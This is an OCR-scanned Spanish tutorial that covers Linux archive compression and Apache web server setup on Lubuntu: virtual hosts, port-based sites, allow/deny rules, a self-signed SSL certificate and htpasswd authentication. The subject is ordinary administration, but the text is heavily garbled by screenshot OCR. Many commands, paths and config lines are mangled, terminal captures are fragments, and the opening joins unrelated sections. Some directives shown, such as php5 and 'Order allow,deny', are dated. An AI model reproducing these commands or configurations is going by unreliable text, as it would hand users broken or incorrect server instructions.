Para lograr una firma valida, existen varias empresas a nivel mundial como Verisign
o thawte, pero son certificados de pago. Con ello te aseguras que tu web,
aplicacion, mails, etc., sean reconocidas por los sistemas informaticos como una
firma certificada y valida. Los servidores disponen de una opcion de generar un
certificado validado para ese servidor o dominio de una empresa, pero fuera de eso
no sera un certificado de confianza.

Ademas la mayoria de paises disponen de certificados validados que son gratuitos
para sus habitantes. Para ello mediante una plataforma online y mediante una
identificacion del documento identificativo de identidad de cada pais, puedes
solicitar un numero con el que poder presentarte en alguna administracion y
verificando tu verdadera identidad, te conceden un certificado valido, que asegura
gue realmente eres quien dices ser. Esto suele ser mediante un nuevo cédigo unico,
que permitira al usuario ya poder descargarse ese certificado para posteriormente
instalarlo en el navegador.
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Descomprimir
formatos

Linux una de las cosas mas complejas que tiene respecto a Windows, es la
compresion y descompresion de archivos. Si en Windows con un WinRar
solucionamos este problema de modo sencillo y grafico, en Linux existen otros tipos

de formatos de compresion diferentes.
A continuacion voy a poner unos ejemplos de los formatos mas usados para que

podais solventar este pequefno obstaculo cuando se os de el caso.
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Los formatos con diferencia mas usados en Linux son las extensiones .tgz, .tar,
bz2, tar.bz2, gz, .tar.gz, .rar, .zip y .pzip.

Veamos algunos que no precisan de instalaciones:

Empezamos. Primero vamos a crear una carpeta llamada comprimeme en el
escritorio sobre la que trabajar.

Archivo Editar Ver Buscar Terminal Ayuda

vesKTop

p# mkdir comprimeme

# Ls
CompartidaSION col ne me tor] gnome - terminalsdesktop

Comprimir y descomprimir archivos tgz

Para comprimir la carpeta en este formato, ejecutamos tar czvf comprimeme.tgz
comprimeme

E@tar czvf comprimeme.tgz comprimeme
omprimeme/

Ahora elimino la carpeta y la descomprimimos ejecutando tar -—xvzf
comprimeme.tgz
Archivo Editar Ver Buscar Terminal Ayuda

rm -R comprimeme/

. gnome -terminal.desktop
tar -xvzf comprimeme.tgz

gnome -terminal .1.1-1"*.'!'.:--;'

Comprimir y descomprimir archivos tar

Comprimimos una carpeta. Ejecutamos tar —cvf comprimeme.tar comprimeme/

Archivo Editar Ver Buscar Terminal Ayuda

tar -cvf comprimeme.tar comprimeme/
omprimeme/

gnome=er minal. deskto]

Descomprimimos. Ejecutamos tar —xvf comprimeme.tar
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rm -R comprimeme

irectorio gnome-terminal.desktop

-xvf comprimeme.tar

gnome-terminal ..desktop

Comprimir y descomprimir archivos gz

La extension tar no se usa en carpetas, pero si para la compresion de uno o mas
archivos, para esto creamos un fichero de texto y lo comprimimos. Ejecutamos gzip
-9 comprimeme.txt

En este caso este formato nos permite indicarle de 1 a 9 la potencia de
compresion, siendo 9 el maximo.

Archivo Editar Ver Buscar Terminal Ayuda

d comprimeme/
OMprimemes nano comprimeme.txt
pe# gzip -9 comprimeme.txt
1s

Archivo Editar Ver Buscar Terminal

Ayuda

S

gzip -d comprimeme.txt.gz
ls

omprimeme.txt

Comprimir y descomprimir archivos bz2

Este es otro formato adecuado para archivos pero que no es muy bueno para
carpetas. Primero comprimimos. Ejecutamos bzip2 comprimeme.txt
Archivo Editar Ver Buscar Terminal Ayuda

Descomprimimos. Ejecutamos bzip2 —d comprimeme.txt.bz2
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Archivo Editar Ver Buscar Terminal

s

bzip2 -d comprimeme.txt.bz2
ls

omprimeme.txt

Comprimir y descomprimir archivos tar.gz

Primero comprimimos. Ejecutamos tar —czvf comprimeme.tar.gz comprimeme
Editar Ver

Archivo Buscar Terminal Ayuda

tar -czvf comprimeme.tar.gz comprimeme/
omp rimeme/
omprimeme/comprimeme.txt

gname=terminal . deésk top

Archivo Editar Ver Buscar Terminal Ayuda

omprimeme/
omprimeme/comprimeme.txt

gnome -terminal. desktof

Comprimir y descomprimir archivos zip

Primero comprimimos con el comando zip comprimeme.zip comprimeme
Archivo Editar Ver Ayuda

Terminal

Buscar

e ) gnome-terminal.desktop
-1p comprlmEme,-lp comprimeme/

jnomeée=Tern inal.

Y ahora se descomprime ejecutando unzip comprimeme.zip
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Archivo Editar

Ver Buscar Terminal Ayuda

S
directorio gnome-terminal.desktop
unzip comprimeme.zip

Archive: comprimeme.zip
creating: comprimeme/
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Apache
erver

Apache Server es sin duda uno de los servidores de aplicaciones web mas usados
en el mundo, es por esto que vamos a ver como se instala, se configura y se crean
sites 0 webs en el. Posteriormente veremos como securizarlo, pero para €so es
necesario conocer un poco su estructura.

Primero como siempre, actualizamos el sistema.
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Ed alumno@liubuntu: ~ - 4+ X

Archivo Edicion Pestafnas Ayuda

Ahora instalamos el Apache con el comando
es |la ultima version.
[~ alumno@lubuntu: - - 4+ X

Archivo Edicion Pestafias Ayuda
aptjget install apa

sudo apt-get install apache2, ya que

Una vez finalizada la instalacion, abrimos un navegador y poniendo el LocalHost
saldra la siguiente pagina. Podemos poner tanto localhost, como la IP 127.0.0.1 o la

IP asignada dentro de nuestra red interna, el efecto seria el mismo.
"} Apache2 Ubuntu Default Page: It works - Mozllla Firefox - o

Apache? Ubuntu Defaul... x +

& localhost - E}- Q £ 8 4+ #

Apache2 Ubuntu Default Page

b

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

La web que vemos en la pantalla anterior es un index o pagina de inicio que se
encuentra en el directorio /variwww/html.
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Ed alumno@lubuntu: fvar/www/html +

Archivo Edicdon Pestafias Ayuda

Los archivos del Apache, se encuentran en el /etc/Apache2, si ejecutamos el

comando Is DDdFEI'ﬂDS ver su contenido.
EJ alumno@iubuntu: fetc/apache2

Archivo Edicion Pestafias Ayuda

Los archivos de la carpeta mods-available son los modulos internos que vienen
con Apache, que deberemos desactivar si no los usamos para aumentar la
seguridad. Luego vemos como hacerlo.
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¥ alumno@lubuntu: /etc/apache2/mods-avallable

Archivo Edicion Pestafas Ayuda

En el directorio mods-enables, encontramos los modulos mas usados que vienen

activados por defecto.
B alumno@lubuntu: fetc/apache2/mods-avallable - 4+ %

Archivo Edicion Pestanas Ayuda

Con Apache podremos crear varios Sites o paginas web. Para desactivar un site se
usa el comando a2dissite. En el siguiente ejemplo desactivo el Site por defecto que
trae Apache.
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] alumno@lubuntu: /etc/apache2/sites-enabled

Archivo Edicion Pestafas Avyuda

Msudo a2dissite 000-default.conf

Para activar los sites, es con el comando aZensite. Vuelvo a activar el Site por

defecto.
Ed alumno@lubuntu: /etc/apache2/sites-enabled

Archivo Edicion Pestanas Ayuda

udo a2ensite 006-default.conf

ﬂﬂﬂ—default.cunf

| | L | e e

Es importante comentar que para que estas actuaciones surgan efecto, debemos
reiniciar el servicio Apache, para ello como indica el mensaje de las pantallas
anteriores ejecutariamos sudo service apacheZ2 reload.

Ahora vamos a instalar el médulo de php5, necesario para que nuestro servidor
web pueda mostrar y visualizar paginas con esta programacion. Para ello
ejecutamos sudo apt-get install php5 libapache-mod-php5

Archivo Edicion Pestafas Ayuda

udo apt-get install php5 libapache2-mod-php5

Ahora damos permisos al grupo de alumnos y acceso total para ellos, y de lectura
para todos. En mi caso es asi porque tengo creados en el Linux un grupo llamado
alumno y varios usuarios dentro con los que trabajo sin necesidad de usar el usuario
root.
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iElsudo chown -R alumno:www-data /var/www/html

lu:moalubuntu f:tu'a a:he$ sudo chmod -R 755 /var/www/html

Creamos el siguiente fichero de pagina web con los comandos que se muestran en
php dentro y lo llamamos Info.php. Es importante crear este fichero en el directorio
web, para ello podemos usar el comando sudo nano /variwww/html/Info.php, que
abrira un editor de texto y creara el archivo Info.php dentro del directorio indicado si
no existe.

Archivo Edicion Pestanas Ayuda

GNU nano 2.2.6 Archivo: /var/www/html/info.ph

En el fichero /etc/apache2/mods-enabled/dir.conf se muestran los nombres y
extensiones de los archivos web que se consideran de inicio. Se puede quitar,
cambiar o afadir los que se deseen. Busca en el orden indicado pasando de uno en
uno hasta encontrar uno existente. Si queremos que por ejemplo nuestra pagina de
inicio o principal de la web fuese home.html, deberiamos incluirlo.

Ed alumno@lubuntu: /etc/apache2

Archivo Edicion Pestafas Ayuda
GNU nano 2.2.6 Archivo: /etc/apache2/mods-enabled/dir.conf

Si vamos al navegador y ponemos el localhost/info.php saldra la siguiente web,
donde viene toda la informacion del Apache.
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& localhost ~ B~ Qa8

PHP Version 5.5.12-2ubuntu4.3

System Linux lubuntu 3.16.0-31-generic #43-Ubuntu SMP Tue Mar 10
17:41:23 UTC 2015 686

Build Date Mar 16 2015 20:44:30

Server API Apache 2.0 Handler

Virtual Directory disabled

Support

Configuration File fetc/php5/apache2

(php.ini) Path

Loaded Configuration |/etc/phpS/apache2/php.ini

File

Scan this dir for fetc/phpS/apache2/confd

additional .ini files

Esto es debido al cédigo que pusimos en el archivo info.php, el cual hace que se
muestre informacion concreta del php.

Ahora instalamos el MySQL. MySQL es una o la mas popular base de datos,
ademas de ser gratuita. Las bases de datos son almacenes de datos donde las
paginas web recogen la informacion necesaria que posteriormente accedida por el
usuario, le muestra un contenido solicitado. Un claro ejemplo son las web con
usuarios registrados, donde aparecen sus datos de registro y perfil, con foto, mail,
etc., estos son almacenados siempre en bases de datos.

Para instalar MySQL, necesitamos instalar tanto el cliente, como la version de
servidor, para ello ejecutamos sudo apt-get install mysqgl-server mysql-client

e alumno@lubuntu: Jetc/apache2 =

Archive Edicion Pestanas Ayuda

udo apt-get install mysql-server o

En Apache el directorio sites-available dispone del fichero de configuracion,
mientras que el directorio sites-enables contiene las directivas de seguridad.
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Para albergar varias webs, en vez de dar los permisos que dimos al directorio
varimww/html, debemos darselos a /varlwww, que sera donde crearemos los
distintos Sites. Para ello usamos los comandos chown y chmod como se muestran a
continuacion y evitar problemas de permisos en Linux.

N} alumno@lubuntu: ~ .

Archivo Edicion Pestanas Avyuda

Accedemos al siguiente directorio Yy listamos los archivos de conﬁgura{:ian.
%) alumno@lubuntu: /etc/apache2/sites-available

Archivo Edicion Pestanas Ayuda
pache2/sites-availableg

Hacemos una copia de seguridad del site por defecto y lo editamos, asi ante
cualquier problema, siempre podremos restaurar el archivo. Para hacer la copia
usamos el comando cp y creamos el archivo ejemplo.conf sobre el que

trabajare MOoSs.
[ alumno@liubuntu: /etc/apache2/sites-avallable o

Archive Edicion Pestafias Ayuda

Vamos a crear una web llamada www.ejemplo.com. Para que funcionase desde
fuera, deberiamos comprar el dominio y redireccionario a la IP publica que tenga el
servidor, pero para el ejemplo vamos a trabajar en local. Para ello ponemos lo
siguiente en el archivo ejemplo.conf, poniendo la IP privada del servidor donde esta
Apache, es decir, la del Linux con el que estemos trabajando. Para obtenerla si no la
conocemos usamos el comando ifconfig.
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¥} alumno@iubuntu: Jetcfapache2/sites-available %
Archivo Edicion Pestafias Ayuda

GNU nano 2.2.6 Archivo: e) lo.conf Modificado

<VirtualHost 192.168.20.102:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request‘'s Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.

ServerName www.ejemplo.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/ejemplo
DirectoryIndex index.html

Lo que hemos puesto en el archivo de configuracion, es simplemente la IP con el
puerto web 80, el dominio www.ejemplo.com, la ruta interna al directorio web y el
tipo de archivo de inicio, en este caso index.html, pero podremos usar index.php si
preferimos programar en php por ejemplo.

Podemos ademas hacer alias, en este caso para que al no poner www antes del
dominio también nos funcione, o que todo lo que pongamos terminado por este
dominio nos mande a nuestra web.

GNU nano 2.2.6 Archivo: ejemplo.conf

Creamos la carpeta ejemplo y le creamos un archivo index.html dentro.
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[ 15 lineas leidas ]

-:l I AnelPar

Ahadimas_la siguiente linea. Como vemos por defecto esta 'E‘.h'E':1.':.‘-!..1lI':J"IEII"'ICI':-TI.I sobre el

puerto 80, que es el que usan todas las web HTTP.
GNU nano 2.2.6 Archivo: ports.conf Modificado




Activamos el site nuevo con sudo a2ensite ejemplo.conf y recargamos el Apache
para que los cambios surgan efecto. Para reiniciarlo podemos usar como ante
service apache2 reload, o /etc/init.d/apache2 reload, eso a nuestro gusto.

[*¥) alumno@lubuntu: /etc/apache2
Archivo Edicion Pestanas Ayuda
Msudo a2ensite ejemplo.conf

nabling site ejemplo.
o activate the new configuration, you need to run:

service apache2 reload

alumno@lubuntu: /etc/apache2$ sudo /etc/init.d/apache2 reload

Si entramos en el navegador y ponemos www.ejemplo.com, debe aparecer nuestra
web.

Lubuntus [Corriendo] - Oracle VM VirtualBox - O

= Mozilla Firefox b i e

http://www...mplo.com/ x +

o . ejemplo.com + B A s+ 8 4+ #

Este es un ejemplo de pAigina web de inicio.

Si queremos que salga la web poniendo localhost/ejemplo, debemos modificar el
directorio de acceso en el site por defecto, o eliminarlo direcamente, aunque no lo
recomiendo por su utilidad para copiar como plantilla de cara a otras webs. Para
cambiarlo, s6lo como curiosidad, seria editando el archivo de configuracion por
defecto y poniendo de DocumentRoot /var/www en vez de /variwww/html, el cual he
comentado al ponerle la alhoadilla delante.
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B alumno@lubuntu: fetc/apache2/sites-available B A

Archivae Edicion Pestafas Ayuda

GNU nano 2.2.6 Archivo: 888-default.conf

i 185 ] -;I-:;Z:'.:I: ) : Busca | Pag. S5ig o || : I
Ya con Localhost funcionaria como muestro a continuacion.
http://localhost/ejemplo/ X +

& localhost il -

Este es un ejemplo de pAigina web de inicio.

Para crear otras webs, solo hay que repetir estos pasos e ir afadiendolas en
diferentes directorios.

Directivas de acceso.

Apache dispone de directivas de seguridad, vamos a ver algunos ejemplos.

Vamos a permitir y denegar paginas dentro del archivo .conf de una de las web
gue tengamos creadas. Las directivas van en orden segun se deniegue o permita.

En este caso creamos una directiva que permite todo, pero deniega el trafico web
de un equipo cliente con Windows 7 que tiene la ip 192.168.20.25 a un site o web
concreta. El orden es importante, trabaja desde arriba a abajo, por lo que es
importante poner al final las denegaciones para que realmente surja efecto.

VVamos a seguir con la web ejemplo.com, para ello volvemos a editar el archivo de
configuracion con el editor nano o el que nos guste.
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GNU nano 2.2.6 Archivo: ejemplo.conf

<Directory /var/wwe/ejemplo>
Order allow,deny
allow from all
deny from 192.168.20.25

/Directo

Con esto le hemos permitido todo el trafico, salvo a una IP concreta.
Reiniciamos el Apache con sudo /etc/init.d/apache2 restart y vemos que surge
efecto si nos volvemos a conectar desde el Windows 7 al que denegamos.

€ 403 Forbidden - Windows Internet Explorer ol 6P S
Gx J ' B, h gjemplo.com v | B |42 | X || Bing P -
Favertos w B g v B Galena de i s
S v @403 For.. X @ httpy//ww... T B - @, v Paginav Segunidad~ Herramientas~ g~
L]
Forbidden

You don't have permission to access / on this server

Apache/'2.4. 10 (Ubuntu) Server at www.ejemplo.com Port 80

Ahora creamos dentro de la web ejemplo.com un directorio llamado curso con el
comando mkdir.

Creamos unos html o paginas y les ponemos algo de contenido al index y al resto.
Si sOlo queremos crearlos podemos usar el comando touch, pero sino, siempre
podemos usar nano u otro editor para crearlos y meterles algun contenido.
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B alumno@lubuntu: /var/www/ejemplo/curso

Archivo Edicion Pestafias Ayuda

.......

Ya tengo creados las paginas hola.html, adios.html e index.html dentro del
directorio curso.

En el archivo de configuracion del site ejemplo.conf afiadimos lo siguiente. La
lunea del Directorylndex esta comentada.

e alumno@lubuntu: fetc/apache2/sites-availlable

Archivo Edicion Pestafias Avyuda
GNU nano 2.2.6 Archivo: ejemplo.conf

<Directory /var/www/ejemplo/curso
Options +Indexes -FollowSymlinks -Multiviews
AllowOverride None
Order allow,deny
allow from all
i DirectoryIndex index.html
/Directo

[ 47 lineas escritas |

N e e 1

Reiniciamos el Apache y accedemos a www.ejemplo.com/curso por el navegador.
Esto es lo que llamamos Index of, un fallo de seguridad que entrando en un
directorio muestra todo su contenido.
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Index of Jcurso ¥ | http://fwww...plo2.com/ x | +

< ejemplo.com -G B~

Index of /curso
Name Last modified Size Description

J Parent Directory 3

&) adios.html 2015-04-09 12:17 12
[#] hola.html 2015-04-09 12:17 11
¥] index. htm] 2015-04-09 12:16 24

Apache/2.4.10 (Ubuntu) Server at www.ejemplo.com Port 80

QA 8 4+ #

Esto es lo que hemos logrado con la opcion de indexar. Si ahora descomentamos

el Directorylndex esto ya no sucedera.

GNU nano 2.2.6 Archivo: ejemplo.conf

Modificado

Salvamos, reiniciamos Apache y volvemos a poner la web www.ejemplo.com/curso
y saldra lo siguiente. Automaticamente carga la pagina de inicio, en este caso
index.html del directorio curso, no la del inicio que creamos antes.
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9 Mozilla Firefox

http://www...com/curso/ x | http://www...plo2.com/ X 1 +

& ejemplo.com v &)

Index de carpeta curso.

Esto es lo que hace el Directorylndex, indexa una pagina de inicio por defecto.
Seleccion de sites por puerto

Apache ademas de distribuir sus sites por nombres o dominios, permite una opcion
bastante interesante, la discriminacion por puertos.

Primero creamos en /var/'www una carpeta con mkdir llamada practicaP80 vy
generamos un index.html dentro.

Ed alumno@lubuntu: /var/www/practicaP8o

Archivo Edicion Pestanas Ayuda

Ponemos cualquier cosa en el archivo index creado.
GNU nano 2.2.6 Archivo: index.html Modificado

Ahora creamos ofra carpeta de site llamada practicaP8080 y creamos su
index.html.

GNU nano 2.2.6 Archivo: index.html

Les damos permisos a ambos sites.

Como siempre hacemos copia del conf de los sites.

n alg
8 I k
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Editamos el primer fichero comentando o borrando todo y anadiendo lo siguiente.

GNU nano 2.2.6 Archivo: practicaP88e,conf Modificado

ServerName www.practicap8e.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/practicaP8e
DirectorylIndex index.html

ServerAlias practicap8@.com *practicap8f.com

Para evitar hacer dos archivos de configuracién, el del site del puerto 8080 lo
vamos a meter en este mismo archivo creando un nuevo VirtualHost. Esto pﬂdemDS

hacerlo en un archivo o en dos diferentes, eso es a nuestro QIJS'[D.
¥ alumno@lubuntu: fetc/apache2/sites-available

Archivo Edicon Pestafias Avuda

GNU nano 2.2.6 Archivo: practicaP86.conf Modific

<VirtualHost 192.168.20.102:8888>
ServerName www.practicap8esge.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/practicaP8ese
DirectoryIndex index.html
ServerAlias practicap8086.com *practicap8ogefjcom
</VirtualHost>

4 Salir Car

Ahora modificamos el archivo ports.conf para que escuche también por el puerto
8080 y no solo en el puerto 80 por defecto. Para ello como siempre ejecutamos
sudo nano /etc/apache2/ports.conf
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B alumno@lubuntu: fetcfapache2/sites-avallable
Archivo Edicidbn Pestafias Ayuda

GNU nano 2.2.6 Archivo: /etc/apache2/ports.conf

Modificado

meVirtualHost www.practicap8e.com:86
meVirtualHost www.practicap8o80. com:8680

Hemos pedido a Apache que escuche peticiones tanto por el puerto 80, como por
el 8080, ademas hemos asociado cada uno de los dominios a un puerto concreto.

Activamos el site donde hemos creado los VirtualHost, en caso de haberlo hecho
en dos archivos, deberemos activar los dos.

Ed alumno@lubuntu: /Jetc/apache2/sites-avalilable

Archivo Edicion Pestafas Ayuda

Reiniciamos el servicio Apache.
[*¥] alumno@lubuntu: fetc/apache2/sites-avallable

Archivo Edicion Pestanas Ayuda

Si ahora abrimos un navegador y ponemos la web, este seria el resultado para la
web del puerto 80:

http:/fww...m/curso/ % | http:/fww...lo2.com/ X hittp:f/ww... p80.com/ x | http://ww...om:808B0/ X
£n practicap80.com - B~ QA &+ 8  #

Web por puerto 80

Y este el del site o web del puerto 8080:
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http://ww...m/curso/ x lhttp.f.f'u-.-'.-.r, Jdo2.com/ x | http://ww...pB80.com/ = | http://ww...om:8080/ x
|
practicap8080.com ¢ B~ Q <+ 8 %+ 4

Index por puerto 8080

Webs seguras con SSL

Ahora para usar SSL o paginas seguras HTTPS, vamos a usar el Apache por
puertos en vez de por dominios. Para ello antes debemos crear un certificado. Para
ello vamos a usar un certificado de VeriSign que es de pago, pero dispone de una
version de prueba gratuita durante unos meses.

Antes de nada debemos ver en /etc/apache2/ports.conf que esté el Listen 443 para
que podamos acceder por SSL y que el ifmodule del 443 del SSL esté comentado
para evitar problemas al reiniciar Apache.

El otro modulo, el mod_gnutls.c, podemos dejarlo comentado o no. Es un modulo
gue no esta activo por defecto, con lo que no deberia dar problemas. Para este
ejemplo usare una de mis web de forma que escuche tanto por puerto 80, como por
443.

GNU nano 2.2.6 Archivo: ports.conf

--sten 443

IfModule ssl module>
Listen 443
f</IfModule>

~G iIYuUuda B G dridd ﬁ Leer Ficl RePin i Corts

Lo primero voy a crear un site que este escuchando en el puerto 443 para
posteriormente ponerle SSL. Mi dominio sera www.aprendeahackear.com. Para ver
la diferencia, también voy a crear esta web con el puerto web basico, o el 80, para
ello tendremos las carpetas sitioNOseguro para el puerto 80 y sitioSlseguro para el
443. Copiamos un conf para tener la base sobre la que modificarlo, copiando por
ejemplo el de la practica del puerto 8080 anterior.
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Editamos el archivo conf del site nuevo Y [o] ponemos de la siguiente forma.
GNU nano 2.2.6 Archivo: aprendeahackear.conf

Como veis esta creados los dos Vil"tL.IEIJHGStS, uno para el DUEFtD 80 Yy otro para el
443.

Ahora creamos las carpetas de los sites y le damos permisos correctos.
R alumno@lubuntu: /var/www

Archivo Edicion Pestanas Ayuda

js aag-wkdir 51t10ﬂﬂsegurn
alunno@lubuntu fvarfuuus mkdir sitioSIseguro
alumno@lubuntu: /var/www$ sudo chown -R alumno:www-data /var/www/sitioNOseguro/
[sudo] password for alumno:
alumno@lubuntu: /var/www$ sudo chown -R alumno:www-data /var/www/sitioSIseguro/
alumno@lubuntu: /var/www$ sudo chmod -R 755 /var/www/sitioNOseguro/
alumno@lubuntu: /var/wwws sudo chmod -R 755 /var/www/sitioSIsequro

Creamos un index dentro de cada carpeta de site y ponemos diferentes
contenidos.
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Bd alumno@lubuntu: /var/www/sitioSiseguro
Archivo Edicion Pestanas Ayuda

y Llumno@lubuntu: mvkcd sitioNOseguro/

-lumno@lubuntu fvar!uuuf51tiuuuseguro$ sudo nano index.html
alumno@lubuntu: /var/www/sitioNOseguro$ cd ..
alumno@lubuntu: /var/www$ cd sitioSIseguro/

alumno@lubuntu: /var/www/sitioSIseguro$ sudo nano index.htm

--------

Ahora activamos el archivo conf de los sites creados (uno para ambos) y
reiniciamos Apache.

d alumno®@lubuntu: fetc/apache2

rcnivo  Edicion Pestanas Ayuda

Enahling-slte.aprendéahackéér
0 activate the new configuration, you need to run:
service apache2 reload

alumno@lubuntu: /etc/apache2$ sudo /etc/init.d/apache2 reload

Ahora editamos el ports.conf y ponemos nuestros enlaces y los puertos por los que
escucha.

GNU nano 2.2.6 Archivo: ports.conf

ameVirtualHost www.aprendeahackear.com:80
ameVirtualHost www.aprendeahackear.com:443

Volvemos a reiniciar para ver de nuevo que no haya fallos en lo que hemos escrito.
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B alumno@lubuntu: /etc/apache2
Archivo Edicion Pestafas Ayuda

-

Como tengo configurada la nat y tengo salida a internet, voy a modificar el archivo
hosts para que esta url, que existe en internet, vaya a la IP local en vez de buscar
en internet, asi mostrara la web que tengo en mi Apache y no el hospedaje externo.
Esto se hace editando el archivo /etc/hosts, que hace que al buscar un dominio en
internet, busque primero si existe en este archivo para ir a la direccion IP indicada.

GNU nano 2.2.6 Archivo: /etc/hosts

Ahora si accedemos al navegador y ponemos la url por defecto, o puerto 80 sadra
mi index.

9 Mozilla Firefox
http://www....ckear.com/ x | http://www....r.com:443/ X } +

L]

& aprendeahackear.com v &l -

Sitio NO seguro por puerto 80.

Si pongo la url seguida de :443 para que acceda por ese puerto, su index cambiara
con otro contenido.
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g Mozilla Firefox

http://www....ckear.com/ x | http://www....r.com:443/ x +

& aprendeahackear.com +C B

Sitio SI seguro por puerto 443. UsarAi SSL.

Ya tenemos la web escuchando por el puerto 443, pero aun no es realmente
segura, para ello debemos antes instalar el certificado. Podriamos crear un
certificado propio autofirmado o usar uno de una entidad certificadora reconocida
mundialmente como es VeriSign. Vamos primero a generar nuestro propio
certificado que siempre sera gratuito.

Generar Certificado SSL privado (no validado).

Primero vamos a crear una carpeta donde se almacenara el certificado digital. En
este caso sera /etc/apache2/ssl a la que daremos permisos y tomara posesion el
usuario alumno, que es con el que estoy trabajando.

) alumno®@lubuntu: /etc/apache2
Archivo Edicion Pestanas Ayuda

alumno@lubuntu:/etc/apache2s BILERLICHEES

[sudo] password for alumno:

alumno@lubuntu: /etc/apache2$ sudo chown alumno ssl
alumno@lubuntu: /etc/apache2$ sudo chmod 755 ssl/

r1 9

Generamos el certificado. Es muy importante que cuando solicite el Common
Name pongamos nuestro dominio sobre el que vamos a usar SSL. La llave que
usaremos sera RSA de 2048 bits. Para esto escribimos el siguiente comando y
vamos rellenando los datos que nos pida, como pais, ciudad, mail, dominio, etc.
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udo nﬂnssl. req -xsﬂs -newkey rsa:2048 -keyout /fetc/apache2/ssl/ssl-

Ahora editamos el archivo de cunfguramﬁn del site.
u alumnu@%ubuntu fetcjapachezhite\:. avaliable

Archivo Edicion Pestahas Ayuda

Anadimos lo siguiente dentro del VirtualHost del puerto 443 para activar el
certificado e indicarle donde se encuentran la llave y el certificado.
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GNU nano 2.2.6 Archivo: aprendeahackear.conf

SSLEngine on
SSLCertificateKeyFile /etc/apache2/ssl/ssl-cert.key
SSLCertificateFile /etc/apache2/ssl/javi.pem

Los nombres de los archivos de clave y el certificado, son los que pusimos en el
comando cuando creamos nuestro certificado.
Reiniciamos Apache para ver que esta todo correcto.

[ alumno@lubuntu: /fetc/apache2/sites-avallable

Archivo Edicion Pestanas Avyuda

Ahora si vamos al navegador y ponemos https://mww.aprendeahackear.com
deberia salir lo siguiente.

2 Untrusted Connection - Mozilla Firefox - + X
http://vwww....ckear.com/f X L. Untrusted Connection x +
& aprendeahackear.com v KE aQ € 8 4+ @ —

' ® This Connection is Untrusted
A You have asked Firefox to connect securely to www.aprendeahackear.com, but we can't
confirm that your connection Is secure

Normally, when you try to connect securely, sites will present trusted identification to
prove that you are going to the right place. However, this site's identity can't be verified.

wWhat Should | Do?

If you usually connect to this site without problems, this error could mean that someone is
trying to impersonate the site. and you shouldn't continue

= i - -

Esto pasa pardﬁé_é'l certificado es autofirmado. Si le bajamos el navegado y damos
a | Understand the Risks y Add Exception, ya nos saldra la web por un puerto
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seguro y con uso de SSL. Si usamos otro navegador, como Internet Explorer, saldra
diferente, simplemente sera usar la opcion no recomendada debido a los posibles
riesgos. Esto no pasara cuando usemos un certificado emitido por una entidad
certificadora validada.

) Mozilla Firefox

http://www....ckear.com/ x |/ https://ww...ckear.com/ x +

¢ a aprendeahackear.com «C| B~
Sitio SI seguro por puerto 443. UsarAi SSL.

Si nos fijamos, en la barra del navegador aparecera nuestra web con https y no
http, indicando que usa SSL.

Acceso de identificacion por usuarios.

Apache tambien permite que nuestros sites tengan autentificacion de usuarios.

Primero vamos a crear una carpeta llamada curso en sitioSlseguro con un
index.html nuevo donde so6lo podran acceder los usuarios que queramos.

¥ alumno@lubuntu: /var/www/sitloSiseguro/curso

Archivo Edicion Pestafas Ayuda

El contenido de mi index.html es el siguiente. Esto es un simple codigo html donde
indica que estas en una web con SSL con acceso limitado y un enlace que pone
Aqui, donde al pulsarlo solicitara credenciales para acceder al index de la carpeta
curso.

R alumno@lubuntu: /var/www/sitioSiseguro

Archivo Edicion Pestanas Avyuda

GNU nano 2.2.6 Archivo: index.html
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Ahora modificamos el archivo conf del site para marcar que usuarios pueden
acceder al directorio cursos. Esto dice que sélo los usuarios configurados en el
archivo .htpasswd pueden acceder al directorio curso. De momento el acceso por
grupos lo dejo comentado, limitandolo a los usuarios que afiada.

GNU nano 2.2.6 Archivo: aprendeahackear.conf

<Directory /var/www/sitioSIseguro/curso>

Options +Indexes -FollowSymLinks -Multiviews
AllowOverride None

Order allow,deny

allow from all

DirectoryIndex index.html

AuthType Basic

AuthName "Directorio Privado"

AuthUserFile /etc/apache2/passwd/.htpasswd
= AuthGroupFile /etc/apache2/passwd/authgroups
Require valid-user

: Require group privado

/Directo

Ahora creamos el directorio passwd dentro de Apache y reiniciamos a ver si hemos
escrito algo mal en el archivo de configuracion del site.
[} alumno@lubuntu: fetc/apache2

Archivo Edicion Pestanas Ayuda

Ahora instalamos las utilidades Apache.
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B alumno@lubuntu: fetc/apache2 - 4

Archivo Edicion Pestanas Ayuda

Cuando termine de instalarse, metemos algun usuario que tenga acceso al
directorio privado, en mi caso el usuario se llamara hacker. La opcién —c es solo la
primera vez para generar el archivo .htpasswd, para afadir mas usuarios no es
necesario esta opcion. El punto antes del archivo htpasswd indica que es un archivo
oculto. Este comando nos solicitara dos veces la contrasera de este usuario.

] alumno@lubuntu: Jetc/apache2/passwd

Archivo Edicion Pestafas Ayuda
mno@lubunt ptc/e udo htpa

Si reinicio Apache y accedo a la web, saldra lo siguiente.

1. Problem loadingpage X | SitioconSSLyaccesoli... x | +

€ < & https://www.aprendeahackear.com| v |

Sitio SI seguro por puerto 443. UsarAi SSL.

Acceso a directorio privado pinchando Aqui

Al pinchar el enlace que va al directorio privado, pedira autentificacion, le ponemos
el usuario hacker creado y la contrasefia que hayamos puesto.
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Connecting... o B

¢ & aprendeahackear.com - El- A s+ 8 %+ +#
Sitio SI seguro por puerto 443, UsarAi SSL.

Acceso a directorio privado pinchando Aqui

g Authentication Required o
A username and password are being requested by https://www.aprendeahackear.com. The site
says: "Directorio Privado'

User Name: hacker
;FJ':i;,::,_i. org: | ssses -
X Cancel + DK

Y accedemos al index.html que tenemos dentro del directorio curso con
autentificacion, ademas de SSL.

o Mozilla Firefox - o

https://www...index.html » | +
- %1 aprendeahackear.com v HE Q 4% 8B 4+ H ——

Sitio SI seguro por puerto 443. Usara SSL. Acceso a la carpeta curso con autentificacion de
usuario.

